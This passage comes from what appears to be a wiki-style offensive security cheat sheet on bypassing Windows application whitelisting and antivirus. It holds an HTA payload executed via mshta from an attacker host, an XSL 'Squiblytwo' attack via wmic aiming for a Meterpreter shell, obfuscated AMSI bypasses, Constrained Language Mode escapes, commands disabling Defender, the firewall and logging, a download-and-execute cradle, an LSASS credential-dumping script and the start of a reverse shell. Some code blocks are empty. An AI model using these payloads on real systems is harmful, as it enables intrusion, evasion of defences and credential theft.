Step 3 - To do this add HTML tags to the &amp;lt;code&amp;gt;.js&amp;lt;/code&amp;gt; file and change the extension to &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt;. Call it index.hta.&lt;br /&gt;
&lt;br /&gt;
The code below is the outputted DotNetToJs jscript file but the the &amp;lt;html&amp;gt; tags added.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function setversion() {&lt;br /&gt;
new ActiveXObject(&#039;WScript.Shell&#039;).Environment(&#039;Process&#039;)(&#039;COMPLUS_Version&#039;) = &#039;v4.0.30319&#039;;&lt;br /&gt;
}&lt;br /&gt;
function debug(s) {}&lt;br /&gt;
function base64ToStream(b) {&lt;br /&gt;
    var enc = new ActiveXObject(&amp;quot;System.Text.ASCIIEncoding&amp;quot;);&lt;br /&gt;
    var length = enc.GetByteCount_2(b);&lt;br /&gt;
    var ba = enc.GetBytes_4(b);&lt;br /&gt;
    var transform = new ActiveXObject(&amp;quot;System.Security.Cryptography.FromBase64Transform&amp;quot;);&lt;br /&gt;
    ba = transform.TransformFinalBlock(ba, 0, length);&lt;br /&gt;
    var ms = new ActiveXObject(&amp;quot;System.IO.MemoryStream&amp;quot;);&lt;br /&gt;
    ms.Write(ba, 0, (length / 4) * 3);&lt;br /&gt;
    ms.Position = 0;&lt;br /&gt;
    return ms;&lt;br /&gt;
}&lt;br /&gt;
var serialized_obj = &amp;quot;AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy&amp;quot;+&lt;br /&gt;
&amp;quot;AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph&amp;quot;+&lt;br /&gt;
&amp;quot;dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk&amp;quot;+&lt;br /&gt;
.....&amp;quot;;&lt;br /&gt;
var entry_class = &#039;TestClass&#039;;&lt;br /&gt;
try {&lt;br /&gt;
    setversion();&lt;br /&gt;
    var stm = base64ToStream(serialized_obj);&lt;br /&gt;
    var fmt = new ActiveXObject(&#039;System.Runtime.Serialization.Formatters.Binary.BinaryFormatter&#039;);&lt;br /&gt;
    var al = new ActiveXObject(&#039;System.Collections.ArrayList&#039;);&lt;br /&gt;
    var d = fmt.Deserialize_2(stm);&lt;br /&gt;
    al.Add(undefined);&lt;br /&gt;
    var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);&lt;br /&gt;
} catch (e) {&lt;br /&gt;
    debug(e.message);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4 - Host this on your Kali using apache2 or python.&lt;br /&gt;
&lt;br /&gt;
Step 5 - On target there are a couple of ways to execute it. Either using shortcut as you see below.&lt;br /&gt;
&lt;br /&gt;
Or using the command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\mshta.exe http://kali-ip/index.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or visiting the website using Internet Explorer. Using another browser will end up downloading the &amp;lt;code&amp;gt;.hta&amp;lt;/code&amp;gt; file and not executing it.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== XLS Transform ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Bypassing application whitelisting, such as AppLocker, to achieve arbitrary Jscript execution using XSL transformation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Known As&#039;&#039;&#039;: Squiblytwo attack (see [https://attack.mitre.org/techniques/T1220/ Mitre T1220]).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Basic Principle&#039;&#039;&#039;: XSLT uses  ​.xsl​  documents to transform an XML document into different formats like XHTML. It allows execution of embedded Jscript code when processing an XML document.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Craft a Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Create a malicious XSL file containing the Jscript payload you want to execute.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: This XSL file will open  ​cmd.exe​  when triggered.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Host the Malicious XSL Document&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Host the file on an Apache webserver or Python HTTP server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Trigger the Payload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use WMIC (Windows Management Instrumentation Command-line) to trigger the Jscript code in the XSL file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* A new command prompt should open.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting Meterpreter shell &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Edit the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; file &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Between these lines you can add your jscript code thats outputted from DotNetToJscript. Use ProcessHollowing with XOR for low detection rate&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The entire code will look like this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Host the &amp;lt;code&amp;gt;.xsl&amp;lt;/code&amp;gt; on your kali and run the follow command on target&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wmic process get brief /format:&amp;quot;http://192.168.119.120/test.xsl&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-8.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== AppLocker bypass using Aspnet_Compiler.exe == &lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/&lt;br /&gt;
&lt;br /&gt;
== AV Evasion - General ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#General_AV_Evasion_cheatsheet&lt;br /&gt;
&lt;br /&gt;
=== Check AV – Running, Exclusion, Disable ===&lt;br /&gt;
&lt;br /&gt;
* Check if Windows Defender is running: &amp;lt;code&amp;gt;Get-MpComputerStatus | Select RealTimeProtectionEnabled&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get info about Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
